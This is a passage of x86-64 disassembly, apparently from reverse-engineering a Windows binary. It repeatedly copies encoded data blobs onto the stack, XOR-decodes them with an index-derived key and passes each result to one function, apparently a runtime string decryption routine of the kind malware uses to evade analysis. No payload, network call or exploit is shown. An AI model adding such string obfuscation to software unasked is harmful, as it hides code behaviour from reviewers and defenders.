paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140005dd0
cmp r8d, 0x84
jge 0x140005f16
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x84
jl 0x140005ee0
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006dda0]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006ddb0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006ddc0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006ddd0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006dde0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006ddf0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006de00]
movups xmmword [rbp - 0x70], xmm0
movsd xmm0, qword [0x14006de10]
movsd qword [rbp - 0x60], xmm0
mov eax, dword [0x14006de18]
mov dword [rbp - 0x58], eax
movzx eax, byte [0x14006de1c]
mov byte [rbp - 0x54], al
mov r8d, r12d
cmp ebx, 2
jl 0x1400060a3
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140005fb0
cmp r8d, 0x7d
jge 0x1400060e3
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7d
jl 0x1400060b0
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006ed60]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006ed70]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006ed80]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006ed90]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006eda0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006edb0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006edc0]
movups xmmword [rbp - 0x70], xmm0
movsd xmm0, qword [0x14006edd0]
movsd qword [rbp - 0x60], xmm0
movzx eax, byte [0x14006edd8]
mov byte [rbp - 0x58], al
mov r8d, r12d
cmp ebx, 2
jl 0x140006263
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140006170
cmp r8d, 0x79
jge 0x1400062a3
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x79
jl 0x140006270
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006f120]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006f130]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [str.74._6]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006f150]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006f160]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006f170]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006f180]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x14006f190]
movups xmmword [rbp - 0x60], xmm1
movsd xmm0, qword [0x14006f1a0]
movsd qword [rbp - 0x50], xmm0
cmp ebx, 2
jl 0x140006422
mov edx, r12d
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov r8d, dword [rbp + 0x60]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x88
jl 0x140006332
jmp 0x140006466
lea r9, [rsp + 0x30]
mov r8d, r12d
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x88
jl 0x140006430
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006ceb0]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006cec0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006ced0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006cee0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006cef0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006cf00]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006cf10]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x14006cf20]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x14006cf30]
movups xmmword [rbp - 0x50], xmm0
movzx eax, word [0x14006cf40]
mov word [rbp - 0x40], ax
movzx eax, byte [0x14006cf42]
mov byte [rbp - 0x3e], al
mov r8d, r12d
cmp ebx, 2
jl 0x140006609
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140006510
cmp r8d, 0x93
jge 0x140006656
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x93
jl 0x140006620
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006efc0]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006efd0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006efe0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006eff0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006f000]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006f010]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006f020]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x14006f030]
movups xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [0x14006f040]
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x14006f050]
movsd qword [rbp - 0x40], xmm0
movzx eax, word [0x14006f058]
mov word [rbp - 0x38], ax
mov r8d, r12d
cmp ebx, 2
jl 0x1400067f9
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140006700
cmp r8d, 0x9a
jge 0x140006846
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9a
jl 0x140006810
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
lea rcx, [rsp + 0x30]
lea rax, [rdi + 0x6d5b0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movzx eax, word [rax + 0xc0]
mov word [rcx + 0x40], ax
mov r8d, r12d
cmp ebx, 2
jl 0x1400069ea
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xc0
jl 0x1400068f1
cmp r8d, 0xc2
jge 0x140006a36
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc2
jl 0x140006a00
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
lea rcx, [rsp + 0x30]
lea rax, [rdi + 0x6e140]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movzx eax, word [rax + 0xc0]
mov word [rcx + 0x40], ax
mov r8d, r12d
cmp ebx, 2
jl 0x140006bda
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xc0
jl 0x140006ae1
cmp r8d, 0xc2
jge 0x140006c26
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc2
jl 0x140006bf0
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
lea rcx, [rsp + 0x30]
lea rax, [rdi + 0x6e420]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
mov rax, qword [rax + 0xb0]
mov qword [rcx + 0xb0], rax
cmp ebx, 2
jl 0x140006dc0
mov edx, r12d
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov r8d, dword [rbp + 0x60]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xb8
jl 0x140006cd0
jmp 0x140006e06
lea r9, [rsp + 0x30]
mov r8d, r12d
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xb8
jl 0x140006dd0
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
lea rcx, [rsp + 0x30]
lea rax, [rdi + 0x6d680]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
mov rax, qword [rax + 0xb0]
mov qword [rcx + 0xb0], rax
cmp ebx, 2
jl 0x140006fa0
mov edx, r12d
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov r8d, dword [rbp + 0x60]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xb8
jl 0x140006eb0
jmp 0x140006fe6
lea r9, [rsp + 0x30]
mov r8d, r12d
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xb8
jl 0x140006fb0
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006e8f0]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006e900]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006e910]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006e920]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006e930]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x14006e940]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x14006e950]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x14006e960]
movups xmmword [rbp - 0x60], xmm1
